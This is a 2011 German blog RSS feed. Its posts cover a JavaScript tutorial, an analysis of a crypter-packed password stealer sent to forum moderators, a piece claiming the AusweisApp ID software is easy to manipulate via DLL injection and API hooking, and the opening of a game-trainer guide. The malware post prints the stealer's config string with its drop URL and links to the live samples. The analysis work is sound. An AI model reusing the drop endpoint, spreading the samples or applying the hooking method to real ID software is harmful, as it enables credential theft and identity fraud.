<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Raid-Rush:Blog</title>
	<atom:link href="http://blog.raidrush.ws/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.raidrush.ws</link>
	<description>Rush the Web - Raid it Wet! Raid-Rush Blog informiert dich über aktuelle Themen rund um Raid-Rush.</description>
	<lastBuildDate>Mon, 31 Oct 2011 08:16:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>JavaScript Erklärbär #1: void, undefined, null</title>
		<link>http://blog.raidrush.ws/2011/10/30/jswiki1/</link>
		<comments>http://blog.raidrush.ws/2011/10/30/jswiki1/#comments</comments>
		<pubDate>Sun, 30 Oct 2011 10:12:29 +0000</pubDate>
		<dc:creator>Murdoc</dc:creator>
				<category><![CDATA[Programmiersprachen]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[null]]></category>
		<category><![CDATA[undefined]]></category>
		<category><![CDATA[void]]></category>

		<guid isPermaLink="false">http://blog.raidrush.ws/?p=1652</guid>
		<description><![CDATA[In dieser Rubrik möchte ich euch gerne in einfachen Worten bestimmte Sachen der Programmiersprache JavaScript näher bringen, denn viele reduzieren ihre Kenntnisse leider nur noch auf Frameworks wie z.B. jQuery und wissen fast nichts über die Feinheiten der Sprache selbst. In diesem Artikel geht es um: void, undefined und null. undefined, null Diese beiden Typen [...]]]></description>
			<content:encoded><![CDATA[<p>In dieser Rubrik möchte ich euch gerne in einfachen Worten bestimmte Sachen der Programmiersprache JavaScript näher bringen, denn viele reduzieren ihre Kenntnisse leider nur noch auf Frameworks wie z.B. jQuery und wissen fast nichts über die Feinheiten der Sprache selbst.</p>
<p>In diesem Artikel geht es um: <strong>void</strong>, <strong>undefined</strong> und <strong>null</strong>.<span id="more-1652"></span></p>
<h2>undefined, null</h2>
<p>Diese beiden Typen sind schnell erklärt, deshalb ziehe ich diese eben vor, dann fällt auch <strong>void</strong> ein wenig leichter.</p>
<p><strong>undefined</strong></p>
<p>steht für &#8220;Nicht definiert&#8221;, was soviel heißt wie &#8220;Das Objekt wurde nicht definiert, halt also keinen Wert oder Typen&#8221;.</p>
<p>Spricht man ein undefiniertes Objekt lesend an (man möchte den Wert wissen), wird der Browser dir den Sachverhalt meist recht unsanft mitteilen in dem er dir eine &#8220;Exception&#8221;  vor die Füße wirft und nachfolgenden Code einfach ignoriert.</p>
<p>Weist man einer zuvor definierten Variablen der Wert <strong>undefined </strong>zu, entspricht das einem <em>delete &#8211; </em>das Objekt ist ist dann zwar noch im aktuellen Stack vorhanden und der Browser wird dir nicht auf die Finger hauen wenn du es ansprichst, doch sein Wert ist weg und der refcount (die Anzahl an Referenzen zu seinem vorherigem Wert)  wird um 1 verringert.</p>
<p>Weist man einer Variablen über das Schlüsselwort <strong>var</strong> den &#8220;Wert&#8221; <strong>undefined</strong> zu, wird die Variable zwar deklariert, aber nicht definiert &#8211; was auch passieren würde wenn keinerlei Zuweisung erfolgt.</p>
<p>Beispiel:</p>
<pre class="brush: plain; title: ;">var a; // a ist undefined

var b = undefined; // entspricht `a`</pre>
<p><strong>null </strong></p>
<p>sieht das Ganze ein wenig lockerer. Es steht für &#8220;Das Objekt ist zwar definiert, hat aber (noch?) keinen Wert.&#8221;.</p>
<p>Bitte vergesst nicht, dass <strong>null</strong> (anders als <strong>undefined</strong>) selbst ein Objekt darstellt.</p>
<pre class="brush: plain; title: ;">typeof undefined; // undefined

typeof null; // object</pre>
<p>Kommen wir also zu</p>
<h2><strong>void</strong></h2>
<p>Anders als <strong>undefined</strong> und <strong>null</strong> ist <strong>void</strong> KEIN &#8220;Wert&#8221; den man anderen Variablen zuweisen kann, sondern ein Sprachkonstrukt.</p>
<p>Mit diesem Schlüsselwort verwirft man das Ergebnis eines Ausdrucks und erzwingt als Rückgabe <strong>undefined</strong>, was bei allen Browsern das gleiche Verhalten auslöst:</p>
<blockquote><p>&#8220;Ich weiß nicht was ich damit machen soll, also mach ich gar nichts.&#8221;</p></blockquote>
<p>Ein Beispiel:</p>
<pre class="brush: plain; title: ;">var i = 1;

var o = ++i;

alert(o); // 2

alert(i); // 2</pre>
<p>Der Ausdruck <em>++i</em> hat also nicht nur den Wert der Variable i um 1 erhöht, er hat diesen Wert auch zurückgegeben und in der Variable o gespeichert. Im Grunde genau das, was man erwarten würde.</p>
<p>Jetzt das Gleiche noch einmal mit dem Schlüsselwort <strong>void</strong>:</p>
<pre class="brush: plain; title: ;">var i = 1;

var o = void ++i;

alert(o); // undefined

alert(i); // 2</pre>
<p>Wie man sieht wurde durch ein Voranstellen des Schlüsselwortes <strong>void</strong> der Rückgabewert des Ausdrucks verworfen und mit <strong>undefined</strong> ersetzt. Der Ausdruck selbst, also <em>++i </em>wurde aber ganz normal verarbeitet, wie man im Zweiten <em>alert</em> sehen kann.</p>
<p>Jetzt fragt sich der ein oder andere vielleicht, was genau der Sinn dahinter ist einen Rückgabewert zu verwerfen?</p>
<p>Das ist schnell erklärt:</p>
<p>Wenn man in die Adressleiste des Browsers über das javascript:-Präfix Code ausführt, nimmt dieser den Rückgabewert des Ausdrucks und versucht diesen im Fenster anzuzeigen. Ist aber kein Rückgabewert vorhanden, verfällt der Browser in das oben erwähnte &#8220;Ich mach einfach gar nichts&#8221;-Schema und verweilt im aktuellen Fenster.</p>
<p>Dieses Verhalten trifft auch auf alle Elemente oder Funktionen zu, die den Inhalt der Adresszeile (bzw. window.location.href) ändern wollen, also auch Links.</p>
<p>Beispiel:</p>
<pre class="brush: plain; title: ;">&lt;a href=&quot;javascript:var i = 1; ++i;&quot;&gt;Klick mich&lt;/a&gt;</pre>
<p>Würde man diesen Link anklicken, dann würde der Browser zunächst den Ausdruck <em>var i = 1; ++i;</em> auswerten und anschließend versuchen diesen im aktuellen Fenster anzuzeigen. Das Ergebnis wäre eine einsame &#8220;2&#8243; in einem sonst leeren Browserfenster.</p>
<p>Das wollen wir verhindern:</p>
<pre class="brush: plain; title: ;">&lt;a href=&quot;javascript:var i = 1; void ++i;&quot;&gt;Klick mich&lt;/a&gt;</pre>
<p>Nun stößt der Browser nach dem auswerten des Ausdrucks auf ein <strong>undefined</strong> und macht, wie wir es erwartet haben, gar nichts mit dem Ergebnis.</p>
<p>Mit dieser Methode ist es also möglich, Code in der Adresszeile des Browsers auszuführen ohne anschließend auf eine andere Seite zu wechseln, was sonst im Normalfall geschehen würde.</p>
<p>Nutzt man dieses Verhalten in Bookmarks aus, so spricht man von einem &#8220;Bookmarklet&#8221;. Damit ist es möglich jeden beliebigen Code per klick auf einen Bookmark in der aktuellen angezeigten Seite auszuführen.</p>
<p>Ich würde euch gerne einen Link erstellen, mit dem Ihr das Ganze mal testen könnt, aber leider erlaubt WordPress keine javascript:-Links in Artikeln ohne entsprechende Plugins und Geöns.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.raidrush.ws/2011/10/30/jswiki1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Malware-Angriff auf das RR-Team</title>
		<link>http://blog.raidrush.ws/2011/04/27/malware-angriff-auf-das-rr-team/</link>
		<comments>http://blog.raidrush.ws/2011/04/27/malware-angriff-auf-das-rr-team/#comments</comments>
		<pubDate>Wed, 27 Apr 2011 20:40:33 +0000</pubDate>
		<dc:creator>N0S</dc:creator>
				<category><![CDATA[Internes]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Analyse]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[Assembler]]></category>
		<category><![CDATA[Crypter]]></category>
		<category><![CDATA[Debugger]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Ollydbg]]></category>
		<category><![CDATA[Virenscanner]]></category>
		<category><![CDATA[Virustotal]]></category>

		<guid isPermaLink="false">http://blog.raidrush.ws/?p=1647</guid>
		<description><![CDATA[Gestern landete in den PN-Fächern von den (Super-)/Moderatoren des RR-Teams eine PN mit einem sehr interessanten Inhalt. Ein User bot den Moderatoren ein Programm an mit dem das Moderieren vereinfacht werden sollte. Es war aber nicht nur ein 0815 Text, sondern die PN war relativ gut geschrieben und vertrauenerweckend. Das Produkt wurde gut beschrieben und [...]]]></description>
			<content:encoded><![CDATA[<p>Gestern landete in den PN-Fächern von den (Super-)/Moderatoren des RR-Teams eine PN mit einem sehr interessanten Inhalt. Ein User bot den Moderatoren ein Programm an mit dem das Moderieren vereinfacht werden sollte. Es war aber nicht nur ein 0815 Text, sondern die PN war relativ gut geschrieben und vertrauenerweckend. Das Produkt wurde gut beschrieben und die Funktionen hörten sich sinnvoll an.<span id="more-1647"></span><br />
Einige Ausschnitte aus dieser PN:</p>
<blockquote><p>ich nehme an, dass du mich schon aus YourWire kennst.. bin dort selbst SMOD. Mein zweiter Nick ist haze. Habe für unseren Moderatorenteam ein kleines Programm geschrieben, um ihnen die Arbeit erheblich leichter zu machen. Habe an dem Programm weitergearbeitet und die Version 1.1 fertiggestellt. Diese gebe ich auch anderen Moderatoren/Super Moderatoren um ihnen die Arbeit zu erleichtern.</p>
<p>3 Boards benutzen zzt. meine Software.. und aus den internen Bereichen höre ich nur Gutes darüber.</p>
<p>// MyGully / BoerseBZ und YourWire nutzen meine Software.</p></blockquote>
<p>Natürlich wurden direkt Downloads Links zu dieser tollen Software angeboten.  Als erstes lädt man als misstrauischer Nutzer natürlich so etwas auf <a href="http://www.virustotal.com/" target="_blank">virustotal.com</a> hoch und schaut mal was 41 Virenscanner dazu sagen. Tja leider versagten alle Virenscanner und meldeten eine „saubere“ Datei (<a href="http://www.virustotal.com/file-scan/report.html?id=72beb5c13df88c43fb169d69d02f5fa4ef1f2891db478f384e77ffd033551978-1303847146" target="_blank">0 /41 (0.0%)</a>).</p>
<p><strong>Schädlich oder nicht?</strong></p>
<p>Die Virenscanner versagen mal wieder, aber wer sich ein bisschen auskennt weiß sofort, dass diese Datei niemals „sauber“ sein kann. Man sieht es direkt im Virustotal.com Ergebnis, wenn man auf „Show all additional information“ klickt. Die Import Liste ist schon mal äußerst verdächtig. Es werden viel zu wenig Windows APIs importiert. Eine normale Windows GUI Applikation hat mindestens 100 API Imports und diese gerade mal 42. Auch die APIs die importiert werden deuten auf eine schädliche Datei hin (<a href="http://msdn.microsoft.com/en-us/library/ms683212%28v=vs.85%29.aspx" target="_blank">GetProcAddress</a>, <a href="http://msdn.microsoft.com/en-us/library/ms684175%28v=vs.85%29.aspx" target="_blank">LoadLibraryA</a> in Kombination mit den anderen).</p>
<p><strong>Analyse der Datei</strong></p>
<p>Die Datei ist doch recht interessant, es lohnt sich also mal OllyDbg anzuwerfen und das Teil zu zerlegen. Die Hauptdatei wurde mit Visual C++ 6 programmiert. Am besten man setzt am Anfang ein Breakpoint auf GetProcAddress, weil mit dieser API neue APIs nachgeladen werden. Interessant wird es in der Methode 0x004010A0 dort befindet sich der Kern. Am Anfang der Methode findet man schon einen tollen Anti-Virenscanner Trick, ein Virenscanner führt eine Datei ein Stück weit aus um schädliche Funktionen zu erkennen und durch eine funktionslose Schleife (mit so ca. 100000 Iterationen) kann man da eine unschädliche Datei vorgaukeln.<br />
<a href="http://www.xup.in/dl,54515766/anti-AV.PNG/" target="_blank"><img src="http://www0.xup.in/exec/ximg.php?fid=54515766" border="0" alt="" /></a><br />
Direkt danach findet man nochmal so eine Schleife.</p>
<p><strong>Entschlüsseln</strong></p>
<p>Nach den sinnlosen Schleifen wird der eigentliche Schädling entschlüsselt. Diese Hauptdatei ist also nur ein Crypter, der den Schädling in sich trägt und ihn vor den Antivirenscannern schützt. Als Entschlüsselungsfunktion wird eine windows-eigene verwendet. Microsoft bietet eine ganze Reihe von <a href="http://msdn.microsoft.com/en-us/library/aa380252%28v=VS.85%29.aspx" target="_blank">speziellen APIs</a> an mit denen man bekannte Algorithmen (Von AES bis RSA wird alles unterstützt) verwenden kann. Das Programm verwendet dafür folgende APIs: <a href="http://msdn.microsoft.com/en-us/library/aa379886%28v=vs.85%29.aspx" target="_blank">CryptAcquireContext</a>, CryptCreateHash, CryptDeriveKey, CryptHashData und <a href="http://msdn.microsoft.com/en-us/library/aa379913%28v=vs.85%29.aspx" target="_blank">CryptDecrypt</a>. Das Programm verwendet den RC4 Algorithmus.<br />
Danach wird eine DLL ins Temp Verzeichnis geschrieben und mit LoadLibrary geladen. Mit GetProcAddress wird eine Funktion geladen mit dem Namen „AfroTech“. AfroTech scheint wohl der Name oder die Gruppe des Entwicklers zu sein, dieser Name taucht öfters auf. Die Funktion der DLL wird aufgerufen und nun geht es in der DLL weiter. Die Aufgabe der Hauptdatei (Crypter) ist damit erledigt.<br />
<a href="http://www.xup.in/dl,82884244/dll_aufruf.PNG/" target="_blank"><img src="http://www0.xup.in/exec/ximg.php?fid=82884244" border="0" alt="" /></a></p>
<p><strong>In der DLL</strong></p>
<p>Die DLL hat nur eine Größe von 2,5KB. Sie dient auch nur zum Laden anderer Komponenten. Die DLL wurde wahrscheinlich direkt mit einem Assembler erstellt. Zunächst mal werden hier einige interessante APIs mit GetProcAddress geladen: <a href="http://msdn.microsoft.com/en-us/library/ms682425%28v=vs.85%29.aspx" target="_blank">CreateProcessA</a>, GetThreadContext, SetThreadContext, WriteProcessMemory, ResumeThread, VirtualAllocEx, <a href="http://msdn.microsoft.com/en-us/library/ff567119%28v=vs.85%29.aspx" target="_blank">NtUnmapViewOfSection</a>. Mit diesen APIs kann man Prozesse erstellen und diese beliebig manipulieren. Als erstes erstellt die DLL einen neuen eigenen Prozess der Hauptdatei im Suspended Mode.<br />
<a href="http://www.xup.in/dl,45602271/in_dll.PNG/" target="_blank"><img src="http://www0.xup.in/exec/ximg.php?fid=45602271" border="0" alt="" /></a><br />
Dort wird der zuvor entschlüsselte Speicherbereich reingeschrieben. Mit Hilfe von SetThreadContext wird dann der Entrypoint angepasst und der Prozess wird gestartet mit ResumeThread. Eine ziemlich gute Methode um die Virenscanner zu täuschen.</p>
<p><strong>Der 2. Prozess</strong></p>
<p>Nachdem ich diese erste Schicht erfolgreich bewältigt hatte, machte sich doch etwas Enttäuschung breit. Die Datei des 2. Prozesses beinhaltet eine Versionsinformation „Aurodrion Works“ „OldMan&#8217;s Tales“. Nach kurzem googlen nach Aurodrion findet man schnell eine Produktbeschreibung „Aurodrion Crypter“. Gute Arbeit von dem Coder, d.h. aber auch, dass der PN-Ersteller nur ein üblicher „Noob“ ist der keine Ahnung von der Materie hat und sich diesen Crypter gekauft hat. Durch die Produktbeschreibung des Crypters wird auch die Analyse viel einfacher:</p>
<p><code>+ little stub size<br />
+ Downloader<br />
+ Firewall Bypass<br />
+ Binder ( all types of files .txt .exe etc.. )<br />
+ Injection ( PE Files )<br />
+ Compression ( RtlCompressBuffer API )<br />
+ Delay Execution<br />
+ File Cloner + Icon Changer<br />
+ File Bloater ( pumper )<br />
+ Fake Error Message<br />
+ Anti - VM / Emulator / Debugger<br />
+ EOF Support<br />
+ Command Line Support + dll injection<br />
+ Unicode support ( e.g. chinese or arabic systems )<br />
+ Drag and Drop your Files for Crypting &amp; Binding<br />
+ Bypass Kaspersky Proactive Defense<br />
+ works on all systems x86/x64 even Linux via Wine</code></p>
<p>Aber zurück zum 2. Prozess. Dieser ist wohl die Hauptkomponente des Aurodrion Crypters. Nach bisschen rumschauen findet man auch schnell eine Stelle wo ein 3. Prozess gestartet wird.<br />
<a href="http://www.xup.in/dl,36348863/naechster_prozess.PNG/" target="_blank"><img src="http://www0.xup.in/exec/ximg.php?fid=36348863" border="0" alt="" /></a><br />
Die Initialisierung des 3. Prozesses funktioniert mit denselben APIs und genau gleich wie vorhin.</p>
<p><strong>Der 3. Prozess &#8211; Password Stealer</strong></p>
<p>Das hier ist nun endlich was Schädliches, wir sind also am Ziel und damit wäre der Crypter erfolgreich umgangen. Ein Passwort Stealer, programmiert in Delphi 2007. Ein sehr schlechter Password Stealer, dieser Screenshot spricht schon für sich:<br />
<a href="http://www.xup.in/dl,54703800/pw_steal.PNG/" target="_blank"><img src="http://www0.xup.in/exec/ximg.php?fid=54703800" border="0" alt="" /></a><br />
Das Interessanteste findet man schon ganz am Anfang nach einer Funktion:</p>
<p><code>APPDATA#foldername#uploadingtool.exe#http://gotoannonym.go.funpic.de/creater.php#Server Platzhalter#User Platzhalter#Pass Platzhalter#Directory Platzhalter#Title...#Message...#1#-1#-1#-1#-1#-1#-1#-1#-1#-1#-1#-1#-1#-1#-1#-1#0#-1#Steam</code></p>
<p>Da steht auch schon eine Server URL. Die gestohlenen Daten werden per HTTP multipart/form-data an ein PHP Skript gesendet. Funpic als Hoster zu wählen sagt schon mal einiges über den Ersteller aus&#8230; Den Password Stealer zu analysen stellt keine Herausforderung dar, weil absolut nichts versteckt wurde. Allein die Textstrings in der Datei verraten schon was er so alles klauen kann, z.B. Firefox, Chrome, IE, SmartFTP, JDownloader, usw. Der Password Stealer wurde sicher von irgendeinem Scriptkiddie zusammengeklaut bzw. programmiert, der Entwickler wusste nicht wirklich was er da tut. Die Strings in deutscher Sprache lassen auf einen deutschen Entwickler schließen.</p>
<p><strong>Schluss</strong></p>
<p>Ich habe euch alle Dateien in ein RAR Archiv gepackt. Die einzelnen Komponenten findet ihr separat in dem Archiv. Der PN-Ersteller war also ein Scriptkiddie mit ernsten Absichten. Er hat sich wohl einen Crypter gekauft um einen Password Stealer vor den Virenscannern zu verstecken. Am Anfang dachte ich er hätte tatsächlich selber was programmiert (die PN wirkte so professionell), aber das ist nicht möglich. Er kann nicht den Crypter programmiert haben, weil der Password Stealer viel zu schlecht ist. Der Crypter Programmierer hat viel Ahnung von der Materie und würde niemals so ein Müll da reinmachen. Der PN-Ersteller kann auch nicht den Password Stealer programmiert haben, weil das Teil ein typischer idiotensicherer Baukasten Password Stealer ist, wäre er der Programmierer hätte er wohl wenigstens diese Baukasten Form entfernt. Wahrscheinlich hat er den Password Stealer auch gekauft. Schade, hatte mir irgendwie mehr versprochen. Falls noch Fragen auftauchen, einfach per Kommentar stellen.</p>
<p><strong>Download <span style="color: #ff0000">auf eigene Gefahr</span>:</strong> <a href="http://www.xup.in/dl,12751907/Moderator_Post_Thread_Editor_by_Freeman.zip/" target="_blank">XUP Download</a><br />
<strong>Passwort:</strong> infected</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.raidrush.ws/2011/04/27/malware-angriff-auf-das-rr-team/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Das AusweisApp</title>
		<link>http://blog.raidrush.ws/2010/12/03/das-ausweisapp/</link>
		<comments>http://blog.raidrush.ws/2010/12/03/das-ausweisapp/#comments</comments>
		<pubDate>Fri, 03 Dec 2010 11:39:56 +0000</pubDate>
		<dc:creator>N0S</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[AusweisApp]]></category>
		<category><![CDATA[CFF Explorer]]></category>
		<category><![CDATA[Debugger]]></category>
		<category><![CDATA[Decrypter]]></category>
		<category><![CDATA[DLL Injection]]></category>
		<category><![CDATA[Hook]]></category>
		<category><![CDATA[Hooking]]></category>
		<category><![CDATA[RCE]]></category>

		<guid isPermaLink="false">http://blog.raidrush.ws/?p=1640</guid>
		<description><![CDATA[Das AusweisApp wurde vor etwa einem Monat offiziell zum Download freigegeben und einige Tage später wieder vom Server entfernt wegen einer Sicherheitslücke. Mittels DNS Manipulation und einem Webserver mit gültigem Zertifikat konnte man über die Update Funktion des Apps eine beliebige ZIP Datei mit schädlichem Inhalt einschleusen. Klingt zwar sehr gut, finde ich aber wenig [...]]]></description>
			<content:encoded><![CDATA[<p>Das AusweisApp wurde vor etwa einem Monat offiziell zum Download freigegeben und einige Tage später wieder vom Server entfernt wegen einer Sicherheitslücke.<span id="more-1640"></span> Mittels DNS Manipulation und einem Webserver mit gültigem Zertifikat konnte man über die Update Funktion des Apps eine beliebige ZIP Datei mit schädlichem Inhalt einschleusen. Klingt zwar sehr gut, finde ich aber wenig praxisrelevant, weil diese Methode einfach viel zu aufwendig ist und es nun mal viel einfachere Wege gibt einen PC mit einer schädlichen Software zu infizieren. Das BSI hat das Programm trotzdem vom Server entfernt, wahrscheinlich um zu zeigen das es ihnen ernst ist. Das dürfte aber wohl eine oder die letzte Sicherheitslücke sein, die es einem ermöglicht <strong>ohne direkten Zugriff</strong> auf den PC, das AusweisApp zu manipulieren. Offiziell wird mit der Stopfung dieser Lücke das AusweisApp „bombensicher“, die einzige Sicherheitslücke sitzt dann nämlich vor dem Bildschirm und lässt sich Malware unterjubeln.</p>
<p>Eine wichtige Frage die man in diesem Zusammenhang stellen sollte ist klar: <strong>Wie einfach ist es das AusweisApp zu manipulieren?</strong> Wie einfach haben es die Trojaner Entwickler. Das es möglich ist bezweifelt keiner, aber schaffen das auch einfache Scriptkiddes ohne große Kenntnisse?</p>
<p>Ich habe mir zum Glück rechtzeitig das AusweisApp runtergeladen und bin leider jetzt erst dazu gekommen es mal genauer anzuschauen. Leider habe ich noch keinen neuen Ausweis, aber es lassen sich schon gute Tendenzen erkennen.<br />
Zunächst schau ich immer welche Programmiersprache eingesetzt wurde. Bei dem AusweisApp lässt sich das nicht genau sagen. Es ist auf jeden Fall ein Mix aus C++ und Java. Gewisse News Seiten haben schon bemängelt das eine alte Java Version(v1.6.0_18) mitgeliefert wird, aber auch das finde ich nicht wirklich schlimm, weil es auch hier eher unwahrscheinlich ist das jemand diese Tatsache effektiv missbrauchen kann. Was sehr auffällt sind die vielen externen Bibliotheken (DLLs). Neben den offensichtlichen DLLs wie z.B. PdfSecureAPI.dll oder msvcr80.dll gibt es auch viele Dateien mit der Endung „ols“ die in Wahrheit aber ganz normale DLLs sind z.B. siqCertMgr.ols oder siqCipher.ols. Allein der Name dieser OLS Dateien lässt schon schließen das in diesen Dateien sehr interessante Dinge passieren. Wenn man sich die Dateien mal mit dem tollen <a href="http://www.ntcore.com/exsuite.php" target="_blank">CFF Explorer</a> anschaut und das Export Directory begutachtet findet man auch ganz tolle Sachen. Funktionen wie <em>siqCipher_Decrypt</em>, <em>siqCipher_Encrypt</em>, <em>siqCipher_EncryptFile</em> oder <em>siqCipher_DecryptFile</em> lassen schon das Herz eines jeden Malware-Entwickler höher schlagen. Ich hab keine Ahnung welche Verschlüsselung in dem neuen Ausweis eingesetzt wird und dank dieser sehr sprechenden Namen von Funktionen brauch ich das auch gar nicht wissen. Ich schau einfach mal was bei den vielen „Decrypt“ und „Encrypt“ Funktionen so rein und raus geht (z.B. mit einem Debugger) und schon wird man auch mit 0 Kryptographie Erfahrung den neuen Ausweis gut durchleuchten können. Klasse finde ich z.B. auch die DLL siqSSLClient.ols mit den vielversprechenden Funktionen wie z.B. <em>Java_com_openlimit_net_ssl_CsiqSslPskClient_write</em>. Die Methode hat wahrscheinlich die gleiche Funktion wie <em>SSL_write</em> von OpenSSL (Hint: Schaut mal meinen SFT Hook an). Man kann nur hoffen dass diese Funktion nicht dafür verantwortlich ist die Kommunikation mit dem Internet zu sichern…<br />
<a href="http://www.xup.in/pic,42408057/ausweisapp.JPG" target="_blank"><img src="http://www.xup.in/pic,42408057/ausweisapp.JPG" alt="CFF" /></a></p>
<p>DLL Injection mit API Hooking ist also ein sehr gutes Verfahren das AusweisApp zu manipulieren, da man die Funktionsadressen dynamisch mit <em>GetModuleHandle</em>/<em>GetProcAddress</em> holen kann, spielt die Version des AusweisApp auch keine Rolle. Man kann also ohne Probleme alle aktuellen und zukünftigen Versionen des AusweisApp infizieren ohne Code Anpassungen.</p>
<p><strong>Fazit</strong></p>
<p>Es scheint so, dass man mittels einfachem API Hooking das AusweisApp beliebig manipulieren kann. Die sehr sprechenden DLL Namen und die sehr interessant klingenden Funktionsnamen laden einen gerade dazu ein. Das tolle ist das man dafür kaum Reverse Engineering Kenntnisse braucht, die Funktionsnamen liefern quasi schon alle Details die man wissen muss, lediglich die Funktionsparameter muss man mit einem Debugger noch rausfinden, was allerdings nicht schwer ist. Das AusweisApp zu manipulieren ist also keine Kunst, das sollten selbst Scriptkiddies hinbekommen. Ich bin also sehr gespannt wie lange es dauert bis es ein Trojaner gibt der das AusweisApp angreift. Vielleicht ist es aber auch so, dass die neue Version des AusweisApp (die im Januar erscheinen soll) bereits diese einfache Manipulationsmöglichkeit nicht mehr bietet.</p>
<p>Links:</p>
<p>http://www.heise.de/newsticker/meldung/Neuer-Personalausweis-AusweisApp-mit-Luecken-2-Update-1133376.html</p>
<p>http://www.heise.de/newsticker/meldung/BSI-testet-neue-Version-der-AusweisApp-1138739.html</p>
<p>http://www.heise.de/newsticker/meldung/Elektronischer-Personalausweis-Ueberarbeitete-AusweisApp-kommt-im-Januar-1146066.html</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.raidrush.ws/2010/12/03/das-ausweisapp/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Fortgeschrittene Trainer erstellen &#8211; Teil 1</title>
		<link>http://blog.raidrush.ws/2010/11/20/fortgeschrittene-trainer-erstellen-teil-1/</link>
		<comments>http://blog.raidrush.ws/2010/11/20/fortgeschrittene-trainer-erstellen-teil-1/#comments</comments>
		<pubDate>Sat, 20 Nov 2010 15:27:44 +0000</pubDate>
		<dc:creator>N0S</dc:creator>
				<category><![CDATA[Gamehacking]]></category>
		<category><![CDATA[black ops]]></category>
		<category><![CDATA[call of duty]]></category>
		<category><![CDATA[CheatEngine]]></category>
		<category><![CDATA[cod7]]></category>
		<category><![CDATA[Ollydbg]]></category>

		<guid isPermaLink="false">http://blog.raidrush.ws/?p=1634</guid>
		<description><![CDATA[Wer schon mal einen Trainer für ein Spiel erstellen wollte hat sicherlich nach ein paar Tutorials/Anleitungen gesucht und kaum etwas Gutes gefunden. Es gibt sicher einige Artikel die einem helfen einen einfachen Trainer zu erstellen, aber für fortgeschrittene Trainer gibt es kaum eine Hilfe. Die Vorgehensweise für einfache Trainer lässt sich so zusammenfassen: 1. Im [...]]]></description>
			<content:encoded><![CDATA[<p>Wer schon mal einen Trainer für ein Spiel erstellen wollte hat sicherlich nach ein paar Tutorials/Anleitungen gesucht und kaum etwas Gutes gefunden. Es gibt sicher einige Artikel die einem helfen einen einfachen Trainer zu erstellen, aber für fortgeschrittene Trainer gibt es kaum eine Hilfe.<span id="more-1634"></span><br />
Die Vorgehensweise für einfache Trainer lässt sich so zusammenfassen:</p>
<ul>
<li><strong>1.</strong> Im Spiel eine Zahl bzw. Wert suchen und merken z.B. die Kugeln im Waffenmagazin.</li>
<li><strong>2.</strong> Mit einem Memory-Scanner diese Zahl solange suchen bis man die genaue Speicherstelle(n) gefunden hat</li>
<li><strong>3.</strong> Per Hardware-Breakpoint den Codeteil im Spiel finden der diesen Wert manipuliert</li>
<li><strong>4.</strong> Mit einem selbst-geschriebenen Programm diese Codestelle ausschalten</li>
</ul>
<p>Das war es schon und fertig ist der „Unlimited Ammo“ oder „Unlimited Money“ Trainer. Diese Vorgehensweise ist nicht falsch, aber für einen Trainer mit mehr Optionen wird man da schnell verzweifeln, weil man einfach nicht weiß nach welchem Wert man scannen soll. Allein schon für die Gesundheitsanzeige kann das ganz schön schwierig sein, in vielen Spielen wird hier zwar der Wert 100 angesetzt, aber trotzdem ist es sehr schwer danach zu scannen, besonders wenn sich die Gesundheit wieder von alleine auflädt.</p>
<p><strong>Strukturen</strong></p>
<p>Um hier weiter zu kommen muss man eine andere Technik einsetzen. Man sucht nicht mehr nach einzelnen Werten sondern nach ganzen Blöcken von Werten sogenannter Strukturen (struct) bzw. Klassen (class). Das Prinzip das dahinter steckt ist schnell erklärt. Jeder Programmierer kennt es, man hat unterschiedliche Variablen die aber alle irgendwie zusammengehören und nun stellt sich die Frage wie modelliert man solche zusammengehörigen Werte am besten im Quellcode. Ein Java-Programmierer wird nicht überlegen und daraus einfach eine Klasse machen, ein C++-Programmierer wird vielleicht kurz überlegen ob er nun eine Klasse macht oder eine ganz normale Struktur dafür erstellt und ein C-Programmierer hat sowieso keine Wahl und wird wohl eine Struktur erstellen. Das Prinzip der Kapselung gibt es in allen höheren Programmiersprachen und es wird natürlich auch gerne genutzt von Spieleentwicklern. Im Falle eines einfachen Ego-Shooters würde man dann wohl eine Struktur/Klasse erstellen in der definiert ist welche Waffe, Wie viele Patronen in der Waffe, Wie viel Gesundheit aktuell und alles was man sonst noch so alles wissen sollte über den Spieler.  Je nachdem wie das Spiel programmiert ist können die für die Trainer Erstellung nützlichen Werte auf mehrere Strukturen aufgeteilt sein, was aber auch kein größeres Problem darstellt, weil man von einer Struktur in der Regel leicht auf eine andere schließen kann. Unser Ziel ist es also Speicheradressen von Strukturen zu finden und diese Strukturen dann genauer zu analysieren. Mit etwas Glück haben wir dann ein oder zwei Strukturen, die uns ermöglichen das Spiel nach unseren Wünschen zu modifizieren.</p>
<p><strong>Tools</strong></p>
<p>Natürlich braucht man auch Tools um möglichst bequem ein Spiel analysieren zu können, ich empfehle folgende Tools.</p>
<p><strong>OllyDbg:</strong> Der beste 32-Bit Debugger läuft auch problemlos auf Windows 7 64-Bit. Empfehlenswerte Plugins sind Stealth64 (für 64-Bit OS), StrongOD (für 32-Bit OS), Mapimp und StollyStruct.</p>
